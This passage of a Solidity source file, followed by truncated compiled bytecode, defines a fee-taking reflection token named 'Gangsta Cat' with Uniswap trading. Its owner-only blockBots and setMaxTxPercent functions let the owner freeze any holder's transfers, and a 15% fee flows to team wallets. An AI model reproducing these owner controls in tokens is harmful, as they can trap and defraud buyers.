require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GANGSTACAT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Gangsta Cat";
string private constant _symbol = "GAT";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (45 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600b81526020017f47616e6773746120436174000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4741540000000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b602d42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b